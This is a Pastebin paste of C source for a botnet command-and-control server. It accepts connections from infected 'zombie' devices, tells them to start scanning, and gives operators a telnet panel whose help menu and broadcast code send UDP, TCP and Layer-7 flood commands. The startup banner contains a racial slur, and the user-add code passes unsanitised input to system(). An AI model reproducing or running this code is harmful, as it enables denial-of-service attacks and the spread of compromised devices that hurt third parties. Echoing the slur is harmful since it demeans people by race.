Advertisement
Guest User

Untitled

a guest
May 25th, 2018
97
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 21.64 KB | None | 0 0
  1. Server side By Jonah
  2. Free release
  3. logs the IP of the user connecting, along with a couple other cool things
  4. Small update:05/21/17
  5. If you would like to add users upon screen, compile like the following
  6. gcc server.c -o server -pthread -DUser
  7. if you just want to screen it, then do the following
  8. gcc server.c -o server -pthread
  9. Btw, if you plan on modifying this, at least give credit, thanks.
  10.  
  11. //Dezciple edited commands for noobs//
  12. for help = .help
  13. Show Bots = .bots
  14. Turn on scanner = .scanner on
  15. clear screen = .clear
  16. to exit = .exit
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <string.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netdb.h>
  24. #include <unistd.h>
  25. #include <time.h>
  26. #include <fcntl.h>
  27. #include <sys/epoll.h>
  28. #include <errno.h>
  29. #include <pthread.h>
  30. #include <signal.h>
  31. #include <ctype.h>
  32. #define MAXFDS 1000000
  33. #define RED "\x1b[0;31m"
  34. #define GREEN "\x1b[0;32m"
  35. #define C_RESET "\x1b[0m"
  36.  
  37. struct account {
  38. char id[20];
  39. char password[20];
  40. };
  41. static struct account accounts[25];
  42.  
  43. struct clientdata_t {
  44. uint32_t ip;
  45. char build[7];
  46. char connected;
  47. } clients[MAXFDS];
  48.  
  49. struct telnetdata_t {
  50. uint32_t ip;
  51. int connected;
  52. } managements[MAXFDS];
  53.  
  54. ////////////////////////////////////
  55.  
  56. static volatile FILE *fileFD;
  57. static volatile int epollFD = 0;
  58. static volatile int listenFD = 0;
  59. static volatile int managesConnected = 0;
  60. static volatile int DUPESDELETED = 0;
  61.  
  62. ////////////////////////////////////
  63.  
  64.  
  65. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  66. {
  67. int total = 0, got = 1;
  68. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  69. return got;
  70. }
  71. void trim(char *str)
  72. {
  73. int i;
  74. int begin = 0;
  75. int end = strlen(str) - 1;
  76. while (isspace(str[begin])) begin++;
  77. while ((end >= begin) && isspace(str[end])) end--;
  78. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  79. str[i - begin] = '\0';
  80. }
  81.  
  82.  
  83. static int make_socket_non_blocking (int sfd)
  84. {
  85. int flags, s;
  86. flags = fcntl (sfd, F_GETFL, 0);
  87. if (flags == -1)
  88. {
  89. perror ("fcntl");
  90. return -1;
  91. }
  92. flags |= O_NONBLOCK;
  93. s = fcntl (sfd, F_SETFL, flags);
  94. if (s == -1)
  95. {
  96. perror ("fcntl");
  97. return -1;
  98. }
  99. return 0;
  100. }
  101.  
  102.  
  103. static int create_and_bind (char *port)
  104. {
  105. struct addrinfo hints;
  106. struct addrinfo *result, *rp;
  107. int s, sfd;
  108. memset (&hints, 0, sizeof (struct addrinfo));
  109. hints.ai_family = AF_UNSPEC;
  110. hints.ai_socktype = SOCK_STREAM;
  111. hints.ai_flags = AI_PASSIVE;
  112. s = getaddrinfo (NULL, port, &hints, &result);
  113. if (s != 0)
  114. {
  115. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  116. return -1;
  117. }
  118. for (rp = result; rp != NULL; rp = rp->ai_next)
  119. {
  120. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  121. if (sfd == -1) continue;
  122. int yes = 1;
  123. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  124. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  125. if (s == 0)
  126. {
  127. break;
  128. }
  129. close (sfd);
  130. }
  131. if (rp == NULL)
  132. {
  133. fprintf (stderr, "Could not bind\n");
  134. return -1;
  135. }
  136. freeaddrinfo (result);
  137. return sfd;
  138. }
  139. void broadcast(char *msg, int us, char *sender)
  140. {
  141. int sendMGM = 1;
  142. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  143. char *wot = malloc(strlen(msg) + 10);
  144. memset(wot, 0, strlen(msg) + 10);
  145. strcpy(wot, msg);
  146. trim(wot);
  147. time_t rawtime;
  148. struct tm * timeinfo;
  149. time(&rawtime);
  150. timeinfo = localtime(&rawtime);
  151. char *timestamp = asctime(timeinfo);
  152. trim(timestamp);
  153. int i;
  154. for(i = 0; i < MAXFDS; i++)
  155. {
  156. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  157. if(sendMGM && managements[i].connected)
  158. {
  159. send(i, "\x1b[31mID:", 8, MSG_NOSIGNAL);
  160. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  161. send(i, " ", 1, MSG_NOSIGNAL);
  162. send(i, timestamp, strlen(timestamp), MSG_NOSIGNAL);
  163. send(i, ": ", 2, MSG_NOSIGNAL);
  164. }
  165. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  166. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[32m> \x1b[0m", 13, MSG_NOSIGNAL);
  167. else send(i, "\n", 1, MSG_NOSIGNAL);
  168. }
  169. free(wot);
  170. }
  171.  
  172. void *epollEventLoop(void *useless)
  173. {
  174. struct epoll_event event;
  175. struct epoll_event *events;
  176. int s;
  177. events = calloc (MAXFDS, sizeof event);
  178. while (1)
  179. {
  180. int n, i;
  181. n = epoll_wait (epollFD, events, MAXFDS, -1);
  182. for (i = 0; i < n; i++)
  183. {
  184. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  185. {
  186. clients[events[i].data.fd].connected = 0;
  187. close(events[i].data.fd);
  188. continue;
  189. }
  190. else if (listenFD == events[i].data.fd)
  191. {
  192. while (1)
  193. {
  194. struct sockaddr in_addr;
  195. socklen_t in_len;
  196. int infd, ipIndex;
  197.  
  198. in_len = sizeof in_addr;
  199. infd = accept (listenFD, &in_addr, &in_len);
  200. if (infd == -1)
  201. {
  202. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  203. else
  204. {
  205. perror ("accept");
  206. break;
  207. }
  208. }
  209.  
  210. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  211.  
  212. int dup = 0;
  213. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  214. {
  215. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  216.  
  217. if(clients[ipIndex].ip == clients[infd].ip)
  218. {
  219. dup = 1;
  220. break;
  221. }
  222. }
  223.  
  224. if(dup)
  225. {
  226. DUPESDELETED++;
  227. continue;
  228. }
  229.  
  230. s = make_socket_non_blocking (infd);
  231. if (s == -1) { close(infd); break; }
  232.  
  233. event.data.fd = infd;
  234. event.events = EPOLLIN | EPOLLET;
  235. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  236. if (s == -1)
  237. {
  238. perror ("epoll_ctl");
  239. close(infd);
  240. break;
  241. }
  242.  
  243. clients[infd].connected = 1;
  244. send(infd, ".sc on\n", 9, MSG_NOSIGNAL);
  245.  
  246. }
  247. continue;
  248. }
  249. else
  250. {
  251. int thefd = events[i].data.fd;
  252. struct clientdata_t *client = &(clients[thefd]);
  253. int done = 0;
  254. client->connected = 1;
  255. while (1)
  256. {
  257. ssize_t count;
  258. char buf[2048];
  259. memset(buf, 0, sizeof buf);
  260.  
  261. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  262. {
  263. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  264. trim(buf);
  265. if(strcmp(buf, "PING") == 0) {
  266. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  267. continue; }
  268. if(strcmp(buf, "PONG") == 0) {
  269. continue; }
  270. printf("buf: \"%s\"\n", buf); }
  271.  
  272. if (count == -1)
  273. {
  274. if (errno != EAGAIN)
  275. {
  276. done = 1;
  277. }
  278. break;
  279. }
  280. else if (count == 0)
  281. {
  282. done = 1;
  283. break;
  284. }
  285. }
  286.  
  287. if (done)
  288. {
  289. client->connected = 0;
  290. close(thefd);
  291. }
  292. }
  293. }
  294. }
  295. }
  296.  
  297. unsigned int clientsConnected()
  298. {
  299. int i = 0, total = 0;
  300. for(i = 0; i < MAXFDS; i++)
  301. {
  302. if(!clients[i].connected) continue;
  303. total++;
  304. }
  305.  
  306. return total;
  307. }
  308.  
  309. void *titleWriter(void *sock)
  310. {
  311. int thefd = (long int)sock;
  312. char string[2048];
  313. while(1)
  314. {
  315. memset(string, 0, 2048);
  316. sprintf(string, "%c]0;Zombies connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  317. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1);
  318.  
  319. sleep(2);
  320. }
  321. }
  322.  
  323. int Search_in_File(char *str)
  324. {
  325. FILE *fp;
  326. int line_num = 0;
  327. int find_result = 0, find_line=0;
  328. char temp[512];
  329.  
  330. if((fp = fopen("login.txt", "r")) == NULL){
  331. return(-1);
  332. }
  333. while(fgets(temp, 512, fp) != NULL){
  334. if((strstr(temp, str)) != NULL){
  335. find_result++;
  336. find_line = line_num;
  337. }
  338. line_num++;
  339. }
  340. if(fp)
  341. fclose(fp);
  342.  
  343. if(find_result == 0)return 0;
  344.  
  345. return find_line;
  346. }
  347. void client_addr(struct sockaddr_in addr){
  348. printf("IP:%d.%d.%d.%d\n",
  349. addr.sin_addr.s_addr & 0xFF,
  350. (addr.sin_addr.s_addr & 0xFF00)>>8,
  351. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  352. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  353. FILE *logFile;
  354. logFile = fopen("server.log", "a");
  355. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  356. addr.sin_addr.s_addr & 0xFF,
  357. (addr.sin_addr.s_addr & 0xFF00)>>8,
  358. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  359. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  360. fclose(logFile);
  361. }
  362.  
  363. void *telnetWorker(void *sock) {
  364. int thefd = (long int)sock;
  365. managesConnected++;
  366. int find_line;
  367. pthread_t title;
  368. char counter[2048];
  369. memset(counter, 0, 2048);
  370. char buf[2048];
  371. char* nickstring;
  372. char usernamez[80];
  373. char* password;
  374. char* admin;
  375. memset(buf, 0, sizeof buf);
  376. char botnet[2048];
  377. memset(botnet, 0, 2048);
  378.  
  379. FILE *fp;
  380. int i=0;
  381. int c;
  382. fp=fopen("login.txt", "r"); // format: user pass
  383. while(!feof(fp))
  384. {
  385. c=fgetc(fp);
  386. ++i;
  387. }
  388. int j=0;
  389. rewind(fp);
  390. while(j!=i-1)
  391. {
  392. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  393. ++j;
  394. }
  395. sprintf(botnet, ""GREEN"Username: \x1b[30m");
  396. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  397. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  398. trim(buf);
  399. sprintf(usernamez, buf);
  400. nickstring = ("%s", buf);
  401. find_line = Search_in_File(nickstring);
  402.  
  403. if(strcmp(nickstring, accounts[find_line].id) == 0){
  404. sprintf(botnet, ""RED"Welcome User\r\n");
  405. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  406. sprintf(botnet, ""GREEN"Password: \x1b[30m");
  407. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  408. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  409. trim(buf);
  410. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  411. memset(buf, 0, 2048);
  412. goto fak;
  413. }
  414. failed:
  415. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  416. goto end;
  417. fak:
  418.  
  419. pthread_create(&title, NULL, &titleWriter, sock);
  420. if (send(thefd, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  421. if(send(thefd, "\r\n", 2, MSG_NOSIGNAL) == -1) goto end;
  422. char line1[80];
  423. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n"GREEN"> "C_RESET"");
  424. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  425. pthread_create(&title, NULL, &titleWriter, sock);
  426. managements[thefd].connected = 1;
  427. while(fdgets(buf, sizeof buf, thefd) > 0)
  428. {
  429. if(strstr(buf, ".bots"))
  430. {
  431. sprintf(botnet, "Zombies connected: "GREEN"[%d]"C_RESET"\r\nOperators connected: "GREEN"[%d]"C_RESET"\r\nDupes Deleted:"GREEN" [%d]"C_RESET"\r\n", clientsConnected(), managesConnected, DUPESDELETED);
  432. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  433. }
  434.  
  435. if (strstr(buf, ".help"))
  436. {
  437. sprintf(botnet, "\x1b[0;32m!* STD IP PORT TIME SIZE || STD/UDP\r\n!* TCP IP PORT TIME SIZE 32 FLAGS SIZE INTERVALS || TCP\r\n!* L7 URL GET/HEAD/POST PORT PATH TIME POWER || LAYER 7\r\n!* KT | KILLS ATTACKS\r\n");
  438. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  439. }
  440.  
  441. if (strncmp(buf, "!* STD", 6) == 0 || strncmp(buf, "!* UDP", 6) == 0 || strncmp(buf, "!* TCP", 6) == 0)
  442. {
  443. int hax;
  444. if(send(thefd, "Countdown Before Attack Will be Sent\r\n", 38, MSG_NOSIGNAL) == -1) goto end;
  445. for (hax = 5; hax > 0; --hax) {
  446. sleep(1);
  447. sprintf(botnet, "Time: %d\r\n", hax);
  448. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1);
  449. }
  450. if(send(thefd, "Blast Off!\r\n", 12, MSG_NOSIGNAL) == -1) goto end;
  451. }
  452. if (strstr(buf, ".clear"))
  453. {
  454. if(send(thefd, "\033[1A\033[2J\033[1;1H\r\n", 16, MSG_NOSIGNAL) == -1) goto end;
  455. sprintf(line1, ""C_RESET"***"GREEN" WELCOME TO THE CHAMBER"C_RESET" ***\r\n\r\n");
  456. if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  457.  
  458. }
  459. if (strstr(buf, ".exit"))
  460. {
  461. goto end;
  462. }
  463. trim(buf);
  464. sprintf(botnet, "\x1b[32m> \x1b[0m");
  465. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) goto end;
  466. if(strlen(buf) == 0) continue;
  467. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  468. FILE *logFile;
  469. logFile = fopen("server.log", "a");
  470. fprintf(logFile, "%s: \"%s\"\n", accounts[find_line].id, buf);
  471. fclose(logFile);
  472. broadcast(buf, thefd, usernamez);
  473. memset(buf, 0, 2048);
  474. }
  475.  
  476. end: // cleanup dead socket
  477. managements[thefd].connected = 0;
  478. close(thefd);
  479. managesConnected--;
  480. }
  481.  
  482. void *telnetListener(int port)
  483. {
  484. int sockfd, newsockfd;
  485. socklen_t clilen;
  486. struct sockaddr_in serv_addr, cli_addr;
  487. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  488. if (sockfd < 0) perror("ERROR opening socket");
  489. bzero((char *) &serv_addr, sizeof(serv_addr));
  490. serv_addr.sin_family = AF_INET;
  491. serv_addr.sin_addr.s_addr = INADDR_ANY;
  492. serv_addr.sin_port = htons(port);
  493. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  494. listen(sockfd,5);
  495. clilen = sizeof(cli_addr);
  496. while(1)
  497.  
  498. { printf("Connecting To Server: ");
  499. client_addr(cli_addr);
  500. FILE *logFile;
  501. logFile = fopen("IP.log", "a");
  502. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  503. fclose(logFile);
  504. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  505. if (newsockfd < 0) perror("ERROR on accept");
  506. pthread_t thread;
  507. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  508. }
  509. }
  510.  
  511. int main (int argc, char *argv[], void *sock)
  512. {
  513. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  514.  
  515. int s, threads, port;
  516. struct epoll_event event;
  517. char Username[20], Password[20];
  518. #ifdef User
  519. printf("Please Enter Username: ");
  520. scanf("%s",Username);
  521. printf("Please Enter Password: ");
  522. scanf("%s",Password);
  523. char hahaha[80];
  524. sprintf(hahaha, "echo %s %s >> login.txt", Username, Password);
  525. system(hahaha);
  526. #endif
  527. if (argc != 4)
  528. {
  529. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  530. exit (EXIT_FAILURE);
  531. }
  532. port = atoi(argv[3]);
  533. threads = atoi(argv[2]);
  534. if (threads > 850)
  535. {
  536. printf("Are You Dumb? Lower the Threads\n");
  537. return 0;
  538. }
  539. else if (threads < 850)
  540. {
  541. printf("Good Choice in Threading\n");
  542. }
  543. #ifdef User
  544. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nUsername: %s\nPassword: %s\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", Username, Password, port, threads);
  545. #endif
  546. printf(RED "Enjoy The Command & Control\nIn "GREEN"Niggers"RED" We Trust\nCNC Started On Port [%d]\nThreading Count [%d]\n\n"C_RESET"", port, threads);
  547.  
  548. listenFD = create_and_bind(argv[1]); // try to create a listening socket, die if we can't
  549. if (listenFD == -1) abort();
  550.  
  551. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  552. if (s == -1) abort();
  553.  
  554. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  555. if (s == -1)
  556. {
  557. perror ("listen");
  558. abort ();
  559. }
  560.  
  561. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  562. if (epollFD == -1)
  563. {
  564. perror ("epoll_create");
  565. abort ();
  566. }
  567.  
  568. event.data.fd = listenFD;
  569. event.events = EPOLLIN | EPOLLET;
  570. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  571. if (s == -1)
  572. {
  573. perror ("epoll_ctl");
  574. abort ();
  575. }
  576.  
  577. pthread_t thread[threads + 2];
  578. while(threads--)
  579. {
  580. pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  581. }
  582.  
  583. pthread_create(&thread[0], NULL, &telnetListener, port);
  584.  
  585. while(1)
  586. {
  587. broadcast("PING", -1, "STRING");
  588. sleep(60);
  589. }
  590.  
  591. close (listenFD);
  592.  
  593. return EXIT_SUCCESS;
  594. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement